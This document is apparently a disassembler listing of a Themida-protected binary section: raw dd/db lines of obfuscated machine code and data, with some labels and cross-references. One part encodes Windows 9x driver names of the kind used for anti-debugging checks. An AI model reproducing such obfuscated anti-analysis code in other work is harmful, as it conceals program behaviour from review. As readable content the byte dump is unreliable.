dd 1B04h, 0C3534300h, 189EED73h, 0F259960Bh, 9E9h, 0AE518F00h
dd 306CC51Eh, 899678E0h, 708858Dh, 81FCAD06h, 24247Ch
dd 0F100000h, 0D887h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1B04h, 0C3524200h, 141FCE6Ch, 0D531980h
dd 0BA666090h, 0FE8B2BBBh, 0EE95061h, 91000000h, 9B7D2B59h
dd 0EAFFCACDh, 0D4E6BDBDh, 6A9082h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0B13A9FC3h
dd 0E4717948h, 8B66607Dh, 14E8C1h, 8F1F0000h, 0C8E72702h
dd 0EC866EEEh, 5B1ECCB5h, 0F5EA27CFh, 8166EC42h, 59410AC2h
dd 24448B61h, 0BF0F6028h, 6111B7D0h, 820F6050h, 0
dd 24048961h, 1ED1BD89h, 858D0607h, 60A3CEBh, 0D0FFFCFCh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 60C35646h
dd 0F88672D0h, 8929E138h, 71E81B5h, 24440306h, 0F5B58924h
dd 89060722h, 6A1C2444h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 16042444h, 41000000h, 9B3BC351h, 8D8B6093h
dd 6070355h, 2979BD8Bh, 0C6610607h, 709CD85h, 85C70006h
dd 60A7195h, 0
dd 700585C7h, 60Ah, 0FF90000h, 689h, 4DB53100h, 0F060719h
dd 683h, 29BD3100h, 6106071Fh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Dh, 6AC35040h, 0B750342Ah, 7072DACh
dd 518D0181h, 0E9060719h, 0Fh, 0C24DBAB5h, 0FC485EA2h
dd 737809ADh, 0C2F3992Eh, 6A0008h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 180424h, 50400000h, 3D2D32C3h, 0F60BB44h
dd 8B61FBBFh, 72BF985h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1B04h, 0C3574700h, 0CFEA01D0h, 8B3483BCh
dd 1FA58D29h, 6A4A0607h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 18042444h, 40000000h, 3D51C350h, 0F57DE880h
dd 4D26BF9h, 0DE9h, 0B62B3C00h, 16A50C35h, 65967F3Dh, 0C203E93Fh
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 3FC35747h
dd 24F852h, 8529F746h, 6070F95h, 0C9858996h, 0AD06071Ah
dd 9E9h, 0D31BF100h, 0A9208144h, 7C8158EBh, 2424h, 870F1000h
dd 0B6h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ah, 0A3C35747h, 4FA05597h, 0B5899164h, 607057Dh, 9E990h
dd 0EE7D0000h, 395E7589h, 50905326h, 0F820Fh, 0AE90000h
dd 7D000000h, 0BCE09465h, 3324F922h, 9D8990BDh, 6072285h
dd 2824448Bh, 5158D89h, 0E9500607h, 11h, 0E2A09286h, 0B7D1BEBh
dd 0EE17FD05h, 0C2DCFBA3h, 240489DBh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 14h, 0F2C35343h, 3CEB858Dh, 9D01060Ah
dd 60711FDh, 160D0FFh, 711D59Dh, 83F38106h, 6156489Bh
dd 10B58D89h, 0BAE90607h, 60FFFFFDh, 26619D89h, 8D8B0607h
dd 6071ECDh, 3F858D61h, 6A060A84h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 90E8C356h
dd 5E95250h, 9E000000h, 632BB765h, 0F60310Fh, 82h, 820F00h
dd 61000000h, 6050585Ah, 61D68B66h, 51006A90h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0F60FB45h
dd 689h, 0A19D8B00h, 8B060705h, 725F18Dh, 0FF646106h, 35h
dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h
dd 0C3514100h, 0EC1D594Bh, 0FE43EBAh, 78Ah, 1880F00h, 0F8000000h
dd 24048BFCh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 1Ch, 0B7C35545h, 3AB0E4AEh, 31EE15CCh, 12E58589h, 5E90607h
dd 0CA000000h, 0B81DCD14h, 258964h, 60000000h, 8D0F24B7h
dd 11h, 0CE9h, 0CCB66000h, 16A4ED51h, 0DEEDB39Eh, 0B5316137h
dd 6070E65h, 8278858Dh, 9D89060Ah, 6072925h, 16089F8h
dd 6919D89h, 2CE90607h, 6A000002h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 1FCCC351h
dd 6800F42h, 9000000h, 714C595h, 0E8DB8B06h, 0
dd 71ED815Dh, 0BC060A82h, 12FF9Ch, 0A85BD83h, 74000607h
dd 69858B18h, 0C606070Eh, 858B0000h, 6070455h, 0FF0000C6h
dd 72BDD95h, 0B5FF6006h, 60A6C09h, 6C0D858Dh, 8D50060Ah
dd 0A6E0585h, 95FF5006h, 60700A1h, 610CC483h, 50006AFCh
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h
dd 5C1B1CDCh, 6CA522B0h, 0BD89D410h, 6070C7Dh, 6E05B58Dh
dd 6A060Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
dd 53430000h, 522FF2C3h, 85E87888h, 0BD8DDF6Dh, 60723ADh
dd 0AF98D29h, 3E800607h, 52840F00h, 0F000000h, 682h, 15850100h
dd 0A406070Eh, 13E9h, 71CAB700h, 95D56397h, 408D980Eh
dd 0A2B796B1h, 0B711681h, 0FFFFCDE9h, 57006AFFh, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
dd 0E35F8B90h, 1124CD3h, 719C5BDh, 29C02B06h, 7296D85h
dd 6AAA06h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
dd 55450000h, 672E19C3h, 4FC60B68h, 29BDF6AAh, 719C5BDh
dd 13E906h, 0D2440000h, 2CE3EA4Dh, 460BE84Eh, 9FAB5598h
dd 739390B8h, 7B85Bh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1D0424h, 53430000h, 0FA0228C3h, 31EA0B4Ch
dd 0C7BFDB2Fh, 71DC585h, 106h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0CA30B62Ch
dd 62786264h, 8D8DC984h, 6074B9Bh, 30698589h, 0E1FF0607h
dd 0DE9h, 725CFD00h, 0D6F8C4BAh, 0E33DB2C0h
db 69h, 63h
word_574BFE dw 5C8Bh ; DATA XREF: Themida_:0053CD58o
; Themida_:0053D5BCo ...
dd 0E8550C24h, 0
dd 49ED815Dh, 8B060A84h, 0B883h, 9858900h, 8D060A6Ch, 0A826A85h
dd 0B8838906h, 5D000000h, 89C3C033h, 71AD18Dh, 860FF906h
dd 9, 0BBDA8A60h, 152B6666h, 6A6061h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0F962BDC3h
dd 8679858Dh, 0B589060Ah, 6072FF9h, 10E990h, 0DB2A0000h
dd 1176C428h, 0CD433B4Eh, 640AD6E2h, 5050E0A2h, 52506052h
dd 585A310Fh, 0AF060BB9h, 310F612Fh, 12E860h, 0BFFD0000h
dd 8AEC0D4Fh, 0C500B961h, 8426E09Eh, 0D0F20DCDh, 890F5Ah
dd 61000000h, 0E990585Ah, 0Bh, 89588B3Bh, 0F544374Fh, 6417197Ch
dd 35FFh, 95890000h, 607222Dh, 258964h, 31000000h, 704A985h
dd 7FBB6006h, 295FB5C1h, 708619Dh, 858D6106h, 60A86EEh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0FC35242h
dd 0C8C0Fh, 7E90000h, 7D000000h, 8B1EBCDCh, 8B60023Dh
dd 119589C6h, 6106070Ch, 6A016089h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 84E8C351h
dd 66279B9Fh, 0AE9h, 0BCF94A00h, 0D28985h, 0C6724824h
dd 709CD85h, 6A4F06h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1A0424h, 57470000h, 5900FDC3h, 0FE899934h, 356868FCh
dd 0B760DA7Ah, 61F3B309h, 42243481h, 0E924B241h, 0Ch, 59949C46h
dd 0E10A15D0h, 561CA90Bh, 0D99B5FFh, 6A0607h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 170424h, 55450000h, 91AE9AC3h
dd 0BE6660C0h, 0E96161E0h, 0Dh, 3CA96B66h, 0ABECBCEAh
dd 0C3848C14h, 38858D15h, 0E9060A70h, 0Ah, 567D1CBEh, 0B11ADB6Ch
dd 0D0FFCA28h, 0A7E9F9h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1C0424h, 55450000h, 686C9DC3h, 0B75CB0D6h
dd 95892C98h, 60707ADh, 0B98D8B60h, 61060720h
dword_574E38 dd 0C245C8Bh, 0E855h, 815D0000h, 0A8683EDh, 9D858B06h
; DATA XREF: Themida_:0053CC68o
dd 89060705h, 70D9985h, 85858B06h, 89060710h, 710F585h
dd 0E5858B06h, 89060729h, 7068D85h, 0CD85C606h, 60709h
dd 719585C7h, 60Ah, 858D0000h, 60A86EEh, 0B88389h, 335D0000h
dd 0E9F8C3C0h, 0Fh, 8F5453AAh, 0E8CFD6E1h, 0DA6D8E72h
dd 0F9EDEE59h, 0B509FC60h, 60712C5h, 0FF74BC61h, 6A0012h
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 0F9C308C3h, 8F64FCF5h, 5, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 8D9D89E1h
dd 8906070Eh, 707CD85h, 4C48306h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 17h, 28C35646h, 603C2E0Ch, 0CE960h
dd 43F80000h, 98C174B8h, 92FA3006h, 0BE61CA8Ch, 55281E4Bh
dd 34EB6161h, 4D534649h, 20205247h, 20444B56h, 20202020h
dd 204D4D56h, 20202020h, 4E495756h, 20203233h, 4C445856h
dd 20205244h, 3 dup(0)
dd 847E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1D04h, 0C3514100h, 5055478Ch, 0FF7E2FAEh, 6060D73Eh
dd 6D35F781h, 0BB66590Eh, 0C76156A8h, 0A87A985h, 6, 9E900h
dd 0B25D0000h, 0F42F84F8h, 8B75BBC9h, 0DE9C6h, 0C7320000h
dd 345203D9h, 0AD830398h, 0F78BB96h, 13E9D8B7h, 2000000h
dd 48334170h, 0C358753Bh, 0CF70F089h, 5B9550E2h, 14E9A2DCh
dd 98000000h, 2BDD4CD4h, 0E749DB91h, 9260734Ah, 52DE4ECAh
dd 0C1AB2681h, 870F10E8h, 13h, 0D890Fh, 8E90000h, 0DF000000h
dd 806051E9h, 660460F5h, 0E908C8C1h, 8, 7B562233h, 69FB7E13h
dd 10E9F860h, 19000000h, 676C82A4h, 2EF93C46h, 0E8BA0E07h
dd 613EB4B7h, 87AD8589h, 8B0F060Ah, 1, 0CBC166F5h, 52006A08h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
dd 0FB8316A3h, 69850F40h, 0E9000000h, 13h, 8ADAA4B1h, 2A7E60EFh
dd 8CE5F80h, 8332ECD5h, 603EAC12h, 0BD8D61F8h, 60A8781h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 5AC35242h
dd 98A0F32h, 60000000h, 8C0FF8h, 61000000h, 219E9h, 0E960F900h
dd 7, 81624F0Eh, 0FF62FD6h, 28Dh, 61595300h, 0F0DFB83h
dd 8185h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1B04h, 0C3574700h, 3779A661h, 0BEFE2EBEh, 0C8D0Fh, 7E90000h
dd 0EF000000h, 0DA3B5748h, 6E985E7h, 9A000000h, 0CC82443Eh
dd 89BD8DFDh, 60060A87h, 1A2118B9h, 5851602Fh, 61616160h
dd 14850Fh, 0FE90000h, 3D000000h, 0DF45450Bh, 54CDD5CBh
dd 7899A551h, 87E90463h, 0E9000001h, 0Ah, 2A595E95h, 0E59ACE81h
dd 0FB8371BCh, 0B3850F01h, 6A000000h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0F205C355h
dd 0D1CEC658h, 91BD8D89h, 6A060A87h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 18042444h, 40000000h, 17A3C350h
dd 60B9B204h, 0C8B960FCh, 807FA62Bh, 616153F6h, 16850Fh
dd 11E90000h, 9000000h, 0EAD2BE9h, 362576E0h, 0F9E59928h
dd 0B34E19E5h, 1800Fh, 0E9FC0000h, 0F2h, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 18h, 0DC35747h, 6C16F223h
dd 11E9h, 180E1500h, 9B4E315Bh, 58ACF4A4h, 0CD0A29F0h
dd 0FB836CC3h, 76850F2Ah, 6A000000h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 2499C353h
dd 5B73FD3h, 8DF8ECE1h, 0A8799BDh, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0D4675A68h
dd 0F8CD25Dh, 784h, 18A0F00h, 0F5000000h, 55E9h, 0D38B6000h
dd 0FE9h, 9A910800h, 48E4C6DEh, 0B2B5B2h, 21190EC4h, 27FB8361h
dd 378850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1B0424h, 55450000h, 1D376EC3h, 657AD2Ah, 0BD8DF905h
dd 60A87A1h, 55B860F8h, 0B663C654h, 0BD896178h, 60A87B1h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 44C35646h
dd 681324Ah, 0E5482D9Fh, 8C66F8F9h, 57006AC8h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 6A0324D7h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h
dd 43000000h, 66EDC353h, 0D5898E96h, 850FC00Ah, 225h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0E8C35545h, 1800Fh
dd 8DF90000h, 0A8EE8B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1604h, 0C3534300h, 8B473FA3h, 0A8F8785h
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h
dd 0C3514100h, 7E1DE3D1h, 8B6660DDh, 0E95061D9h, 0Fh, 81665E58h
dd 0D1809CF2h, 0E34C526Bh, 8935616Eh, 6E92414h, 0A0000000h
dd 0C840AEDBh, 4C010FF1h, 5AFCFE24h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Dh, 0A5C35343h, 1B051D9h, 0EF721BCAh
dd 0C283F598h, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1C04h, 0C3524200h, 4DA4D2A5h, 0B929317Ch
dd 72896678h, 57006AFCh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1704h, 0C3574700h, 0F371EE55h, 0CA816660h, 0AE8B817h
dd 0C2000000h, 0DC4FA80Ah, 7D3D5CD6h, 59E58ACDh, 10CEC161h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 34C35343h
dd 0F66AD793h, 7D9EB87Dh, 0E95160D0h, 0Ch, 0DA602B86h
dd 786A591Eh, 526206DAh, 61AFB35Bh, 2728966h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0DCC35040h, 4D6C90CBh
dd 0BE9h, 229C3400h, 93060D19h, 0AFD03369h, 83C78060h
dd 12E9h, 480D7300h, 1E3F2445h, 64B19E24h, 937735C3h, 61E0E008h
dd 6A04CDh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
dd 56460000h, 3AB423C3h, 0E97DFCF8h, 5, 0A2061A7Eh, 9E9607Ah
dd 60000000h, 2AE0F27Dh, 20E04872h, 0BE9h, 0D94AD500h
dd 4FFCA228h, 0CA5BFB00h, 0A4E961h, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 160424h, 52420000h, 0D258EEC3h
dd 87858BF9h, 60060A8Fh, 0C164B966h, 5E9h, 0F2DA7C00h
dd 8D612B47h, 0A8EE8B5h, 17820F06h, 0F000000h, 118Bh, 0CE900h
dd 0D4AE0000h, 0ECE8D98Ah, 445B9DD7h, 858D1A49h, 60A4817h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 3AC35141h
dd 0A2770E3Ah, 8F0F3EC1h, 0Bh, 0C8F28160h, 6624A22Ah, 0FF61C78Bh
dd 0CE9D0h, 463D0000h, 0DEA1AEEAh, 2A0EF7C3h, 8589B970h
dd 60A87A9h, 6E960h, 63450000h, 76A2AAC3h, 0CE9h, 0DE5B500h
dd 0FB29B31Ah, 9D2C6832h, 606161D2h, 0FF1D281h, 0E7817849h
dd 3F09136Ch, 0A9858B61h, 6A060A87h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 1CEFC357h
dd 0E9F0DEBCh, 6, 8D91A5D9h, 6AC3813Fh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 16C2C357h
dd 22D0307Ch, 800FAE05h, 7, 18B0Fh, 60FC0000h, 88A0Fh
dd 8C0F0000h, 2, 0BD836160h, 60A8F87h, 4A850F00h, 0F9000000h
dd 8F8785C7h, 13F060Ah, 6A0001h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 150424h, 55450000h, 0E9BD7DC3h, 7, 0D5B56731h
dd 0E993A797h, 11h, 1D7D8DAFh, 0E319F0E8h, 0C09DBA65h
dd 8E53C4F3h, 32E99Ch, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1A0424h, 51410000h, 0E10109C3h, 0B43F5A50h
dd 5E57F960h, 60606061h, 61CA8A61h, 61F78B66h, 20CDh, 0C00B0000h
dd 708D3774h, 0B1BD8B0Ch, 0B9060A87h, 8, 492275A6h, 488BFA75h
dd 0AD9D8B30h, 3B060A87h, 157F3458h, 0D26BD38Bh
dword_575774 dd 8BCA0304h, 0A9858901h, 0EB060A87h, 0EB008B04h, 858B61C5h
dd 60A87A9h, 0AE9CFh, 974E0000h, 0CE10A656h, 5302C33Bh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 55C35242h
dd 9CE8E95h, 3D35C1DBh, 0BE8C08Bh, 18000000h, 959BE513h
dd 8B892C74h, 0BE91466h, 63000000h, 1AAD7FDAh, 8885D5D3h
dd 0B958A2E5h, 4AEEE4C7h, 6D9AC081h, 0BE0000h, 8B000000h
dd 634FFCEh, 5AFBB70Fh, 8D4AEA81h, 816676CAh, 8143EDEFh
dd 9D5F88F2h, 1820F38h, 0F5000000h, 9140C281h, 0DF804327h
dd 0F60525Ch, 61F8FABFh, 0F30048Fh, 688h, 0AED18100h, 0F29A889h
dd 286h, 83FB8B00h, 4EF902EEh, 0FBBF0F4Eh, 9320FE81h, 850FFFFFh
dd 18h, 0E9CA8B66h, 2Dh, 794AF562h, 62E16383h, 0A01D4593h
dd 0FAC0CE87h, 397C8EBBh, 0FF83E974h, 0F7B9FFFFh, 0C8A42F34h
dd 27A4DC05h, 0C2318729h, 0C4EC879Eh, 0CE8BAh, 0F0D10000h
dd 97408328h, 0B7215B68h, 8E804C7h, 5C000000h, 7A1B5288h
dd 5E12889Ch, 9DC18159h, 0F500005Ch, 16E868h, 13E900h
dd 0AC9D0000h, 0E70B87D3h, 12EA722Ch, 7C8B4FADh, 931AEDD7h
dd 0E960583Dh, 7, 0AF39C932h, 0E8AB0340h, 10h, 786E8808h
dd 4149BD9Eh, 5BDB5BCAh, 26BE1EAh, 2B19D7BFh, 0FF615E77h
dd 5E96031h, 45000000h, 2575E63Ch, 5A61C78Bh, 81DE8B66h
dd 31B04FF2h, 5FCB8164h, 817253BFh, 970B6EAh, 0F281F84Fh
dd 53C23AA1h, 8FFA8B52h, 3820F01h, 80000000h, 0E98336F3h
dd 49F38B02h, 0CE96049h, 0CD000000h, 4C57C3FEh, 0DC8AE976h
dd 60FD6DC3h, 8A41DA80h, 816161D9h, 1E8h, 0A850F00h, 0E9000000h
dd 2Bh, 95387CDEh, 12E973h, 120D0000h, 69DB7146h, 0CCDC2D2Bh
dd 23B35497h, 4349AFF8h, 0FFFF72E9h, 42C614FFh, 49BEEDFh
dd 0E9E067F6h, 148h, 50h, 54h, 58h, 5Ch, 60h, 64h, 68h
dd 6Ch, 0B0h, 0B4h, 0B8h, 0BCh, 0C0h, 0C4h, 0C8h, 0CCh
dd 0D0h, 0D4h, 0D8h, 0DCh, 0E0h, 0E4h, 0E8h, 0ECh, 38h dup(0)
dd offset dword_575774+27Ch
dd 9F50EBh, 91D1858Dh, 0F60060Ah, 0A81h, 5E900h, 0E3410000h
dd 8B65698Dh, 71F599Dh, 85896106h, 60A9311h, 1A4D8589h
dd 85C60607h, 60709CDh, 0BE954h, 0B6240000h, 0F89CCA58h
dd 8BB4727Eh, 4E8E3h, 68290000h, 0F50EE62h, 38Eh, 0FB8B6600h
dd 0C88B505Ah, 424448Bh, 20B3B0B9h, 0BA008B75h, 43E3D18Bh
dd 4244489h, 0AE953h, 0BAC90000h, 0A3DD5469h, 0AD353130h
dd 8D89585Eh, 6071F75h, 0D99B5FFh, 55B60607h, 7038858Dh
dd 0BF0F060Ah, 80D0FFD2h, 8589BFF1h, 60A9315h, 7E8h, 8AAA100h
dd 5CD4E811h, 1F698501h, 0E9590607h, 42h, 1BCE80F9h
dword_575B94 dd 11B58B56h, 89060A93h, 11858306h, 4060A93h ; DATA XREF: Themida_:0053D33Co
; Themida_:0053EB40o ...
db 5Eh, 0C3h
word_575BA6 dw 8D60h ; DATA XREF: Themida_:0053F2C4o
dd 0A91D1B5h, 560FEB06h, 36FF006Ah, 931595FFh, 835E060Ah
dd 3E8304C6h, 61EC7500h, 0BDB58BC3h, 66060707h, 0F8BD5BAh
dd 858DD3BFh, 60A93E7h, 858BF560h, 6070535h, 5858961h
dd 0E906072Bh, 0E5h, 0FFEE4D10h, 1F3271DCh, 7A0E0A1Dh
dd 33538FDDh, 7D2F6D37h, 2D773D55h, 0D77DD57Fh, 0F73D577Dh
dd 0D575DF6Dh, 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h
dd 2D773D55h, 0D77DD57Fh, 171E577Dh, 2075DF6Dh, 20602060h
dd 60E0E020h, 7B68AC20h, 0A1E4A9F7h, 93B2D020h, 9DB7EDA6h
dd 0A3F291B9h, 206020ACh, 20602060h, 60E0E020h, 33537520h
dd 7D2F0D0Ah, 20602055h, 28602060h, 0F0362BA7h, 0F360D650h
dd 96A1EFB6h, 0A7B4E0F7h, 7192B8E3h, 0B9E9B3F4h, 2060F76Dh
dd 20602060h, 0F7202060h, 351ADF6Dh, 577DD773h, 5FEDF73Dh
dd 335375D5h, 7D2F6D37h, 2D773D55h, 0D77DD57Fh, 0F73D577Dh
dd 0D575DF6Dh, 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h
dd 0E0A1E35h, 66C1A800h, 0F2FD54A7h, 29BB7643h, 0BD3E913h
dd 81680000h, 0E9060A97h, 0FFFCE863h, 0A983968h, 0E859E906h
dd 0E468FFFCh, 0E9060A98h, 0FFFCE84Fh, 0A99CD68h, 0E845E906h
dd 5668FFFCh, 0E9060A9Ah, 0FFFCE83Bh, 0A9AE968h, 0E831E906h
dd 2468FFFCh, 0E9060A9Ch, 0FFFCE827h, 0A9D3A68h, 0E81DE906h
dd 168FFFCh, 0E9060A9Eh, 0FFFCE813h, 0A9ED168h, 0E809E906h
dd 8068FFFCh, 0E9060A9Fh, 0FFFCE7FFh, 4ADF76A7h, 43D877A3h
dd 3ED36E9Ch, 38CD6897h, 2EC35E91h, 8DC07B93h, 8BB85FF4h
dd 84B65DF2h, 85B55CF1h, 22905DF2h, 995DC334h, 25F70E43h
dd 0A246A225h, 8E4DA212h, 0D473A3A4h, 0DC79A62Dh, 0EA7BAE35h
dd 0F48DBC43h, 60D1BF4Dh, 0AB49A33Bh, 1B2560D8h, 72BC4F1Bh
dd 0D7443ABDh, 34629A4h, 0F68F36D1h, 3A6A6B55h, 0B53D069Bh
dd 0CF3927BDh, 0A47A233h, 0D9099037h, 0D202A93Eh, 0D87F1245h
dd 0E47DB03Fh, 0FFDAD43h, 439C339Eh, 132C16E9h, 9C33D947h
dd 0EC3AF343h, 0ADAB1242h, 0DBE29910h, 6F16AB4Ch, 7A01A83Fh
dd 9215AB4Ah, 94CE12AAh, 0F912FCADh, 97818F48h, 13B2E267h
dd 9D32D36Ch, 0E0513FEFh, 2B439C4Bh, 0C0156E58h, 1A1FB666h
dd 4C0h, 2CA2257Eh, 0F6BD2C94h, 0CAFAFBE5h, 0F7E5952Bh
dd 49A38386h, 0FB14FED1h, 1CB14474h, 3DD3CB53h, 0A299A54Fh
dd 0E68D6047h, 9C69AD1Ah, 29F7DA43h, 0B6452EA7h, 2915981Fh
dd 0BD2E1C98h, 8439CE2h, 0D3AFCC35h, 33392D17h, 9D000000h
dd 6E9C820Ah, 0AE9C32D3h, 47A3012Ch, 6BEE8457h, 5B94CC32h
dd 0D0E9D31Eh, 0CB669942h, 5BA18B24h, 439C9AEEh, 0E8EE381Bh
dd 1FB616EDh, 0EEEFh, 0FC2C5300h, 83BC269h, 8F38C66Dh
dd 12ADDB5Ch, 56868771h, 78A18BFh, 52130333h, 0D1D2BC6Eh
dd 50E918A1h, 447019AFh, 7F6902A9h, 0D8CE8C78h, 427249A3h
dd 38640DA3h, 735DF69Dh, 0E515BE6Ch, 2812AB52h, 0CA60F727h
dd 0D8BB2C1Ah, 330649A3h, 37DE77A4h, 0D9BB49Eh, 0D7FE6F5Dh
dd 764949A3h, 0E466820Dh, 12FC6694h, 528167EFh, 928016B7h
dd 47A22B58h, 860D3CE5h, 811AC154h, 3BFCF6E0h, 0B4E1700Fh
dd 1AE37819h, 0E97CAC92h, 17C4B248h, 0E241945Dh, 0B354EF21h
dd 0B041741Dh, 0B041741Bh, 7DE5C0DAh, 42C3F2F0h, 8E2h
dd 46DB7AABh, 3FD4739Fh, 3ACF6A98h, 34C96493h, 32C75A8Dh
dd 91C47F97h, 97C46B00h, 90C269FEh, 89B960F5h, 1E8C59EEh
dd 995BBF30h, 21F30A43h, 4E7AF92Ch, 0CE6F08AFh, 0CA5D8F38h
dd 232D9E0h, 0A5CCE63h, 6F48A82h, 47A30184h, 6935DCAFh
dd 439CE0FCh, 0F6F84629h, 1FB5D0DFh, 97FDh, 91A22500h
dd 8EE9B5ADh, 2C5B2711h, 3BC269FCh, 38C66D08h, 0A8D6638Fh
dd 3C826C0Dh, 49A3EF7Eh, 0BE53F222h, 0A950E717h, 0EA807800h
dd 0A2FFC2FCh, 6A9C5D47h, 0F69730D7h, 18109861h, 348C9482h
dd 0F0C34195h, 0E37EB15Ah, 0E174A74Eh, 7C8D8F0Bh, 43C4F3F0h
dd 82Ah, 8E23C2F3h, 871CBBE7h, 8217B2E0h, 7C11ACDBh, 7A0FA2D5h
dd 0D90CC7DFh, 0DF0CB348h, 0D80AB146h, 0D101A83Dh, 66D4A136h
dd 995A0778h, 693B5243h, 0D368F92Ch, 4AA1FC2Ch, 701C0C75h
dd 5CCE6304h, 0E90DA225h, 0E7E4A739h, 44CCFCFDh, 0A358E556h
dd 60FB2949h, 0C59820B9h, 0C6F67D24h, 0FF059A2Fh, 43D9D159h
dd 0A25FAB55h, 0C936647h, 0D47B7D00h, 0B038BB8h, 0DDB18775h
dd 0F9CC42D2h, 2921A952h, 1BBAEA93h, 0C63B2931h, 0E13CC6FDh
dd 0DAC8780Eh, 38C25D69h, 0EFF7E1B4h, 0EA7F1646h, 9E741343h
dd 0EC8DD678h, 7F1293C2h, 48000007h, 42E97E17h, 3BE27716h
dd 36DD720Dh, 32D96E07h, 36D166FFh, 9530631Eh, 912C5900h
dd 902355FCh, 912454FBh, 0D3C12FFCh, 43995A62h, 2CC496ADh
dd 34C269FCh, 7BC21BB1h, 0DEC88A86h, 0A53B33BBh, 0A20AE9B7h
dd 4CE1B447h, 8F00EE9Eh, 0CC439BEAh, 9BEA6DDEh, 5DE5B843h
dd 0EA36A795h, 0AE81439Bh, 7800230Dh, 8A3AEA80h, 9BEA2B9Ch
dd 0B9A37643h, 95750473h, 0E2784B41h, 0D96E0939h, 0BC630232h
dd 73A58B13h, 0F9A93FE0h, 54EA5B49h, 62353D91h, 556DDECCh
dd 0E5B83D91h, 0E12BB5FBh, 93663B8Ah, 962654FDh, 86C137A8h
dd 0EAF8237h, 0DCE4CE67h, 0CE640333h, 0B55CF725h, 2798861Ch
dd 723786C1h, 7AEB59Fh, 1AA40D7h, 7D184BD4h, 0B29C35DCh
dd 7068F099h, 0C03EECDAh, 36093585h, 48702C60h, 0EE6F9EE4h
dd 696h, 2972E5Fh, 0FB902F5Bh, 0F68B2654h, 0F085204Fh
dd 0E67B1649h, 4578334Bh, 437017ACh, 3C6E15AAh, 3D6D14A9h
dd 0DA4815AAh, 99597BECh, 0DDAFC643h, 16877525h, 6149A3F2h
dd 0F981A48Eh, 0CF19A39h, 2A3467Bh, 0E613BC6Ch, 0ED8E2959h
